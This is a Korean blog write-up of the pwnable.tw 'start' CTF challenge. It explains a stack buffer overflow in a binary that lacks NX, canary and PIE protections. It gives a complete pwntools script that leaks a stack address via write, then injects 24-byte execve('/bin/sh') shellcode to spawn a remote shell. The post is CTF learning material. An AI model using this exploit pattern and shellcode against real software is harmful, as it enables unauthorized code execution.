constWORLDant

pwnable.tw start 본문

0x04 pwnable/Pwnable.tw

pwnable.tw start

data type ConS_tanT 2018.05.03 23:47

pwnable.kr note를 풀고 pwnable.tw를 풀 수 있는지 궁금해져서 들어가보았다. 

삽질이랑 파이썬 오류 해결하느라 한 40분 소요한것같다. 

여전히 파이썬과 친하지 않은듯하기도 하다. 어서 친해져야지. 



해당 바이너리는 참 간단하다.


이게 끝인데, 포너블에서 read함수와 write함수는 상당히 자주 등장하는 함수들 중 하나이다.


어제 rop 문제에서 접했었는데, 이 문제는 ROP로는 풀지 않아도 된다. 


이유는 다음과 같다.


보는 이들에게 미소를 주는 바이너리다. PIE도 없고, NX도 없으며 , 카나리, RELRO 또한 없다. 


동적분석하니 21바이트 부터 segmentation fault가 뜬다.


나는 여기서 재귀함수의 위험성을 깨우치게 해준 Pwnable.kr 의 note 에게 감사한다. 


이 문제도 재귀함수 처럼 풀었기 때문이다.


Write함수에서 20바이트를 길이로 사용하기 때문에 해당 함수의 시작주소를 ret로 사용하여 또 다시 읽을 수 있게 하였다.


그리고, mov addr. esp가 있었기 때문에 esp를 충분히 릭 할 수 있다고 생각했다. 


esp는 스택의 포인터를 의미한다. 


해당 esp를 코드섹션에서 훑어보면 , add esp, 0x14를 하게 되는데 이 위치는 확인 결과 여기 였다. (exit)


esp를 릭하기 위해서 내가 입력한 곳 다음 recv를 leak하였다. 


그리고 20+4 바이트를 사용할 수 있으니 24바이트 쉘코드를 찾았었는데 여기서 조금 해멨다. 

만약, 같이 지내는 동생 (b1nary)이 그 쉘코드 안되는거다라고 안말해줬으면, 몇 시간 더 걸렸을 것 같다 ^.^ 


여튼 해당 코드에서 올바르게 동작하는 쉘코드를 추가적으로 페이로드에 삽입하면 끝난다. 


여담: payload는 2개가 되어야 하는데 첫번째 페이로드와 두번째 페이로드를 더한것을 두번째 sendline에 보내는 실수도 했었다.

코드를 작성할 때 신중하게 한글자 한글자 입력해야한다.


#!-*-encoding:utf-8-*-

from pwn import *


#context.log_level='debug'

p = remote('chall.pwnable.tw', 10000)


dummy = "A"*20


write_func = 0x8048087 # write start address 


p.recvuntil('CTF:')




# 24byte shellcode 

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"


payload = ""

payload +=  dummy 

payload +=  p32(write_func) # return write 시작주소 


p.send(payload)


leak_stack = u32(p.recv(4))

print "[*] stack leak address = " + hex(leak_stack)



payload = ""

# leak stack address

# write one more time

# shellcode 

payload += dummy

payload += p32(leak_stack+0x14)

payload +=  shellcode


p.send(payload)


p.interactive()



'0x04 pwnable > Pwnable.tw' 카테고리의 다른 글

pwnable.tw start  (0) 2018.05.03
0 Comments
댓글쓰기 폼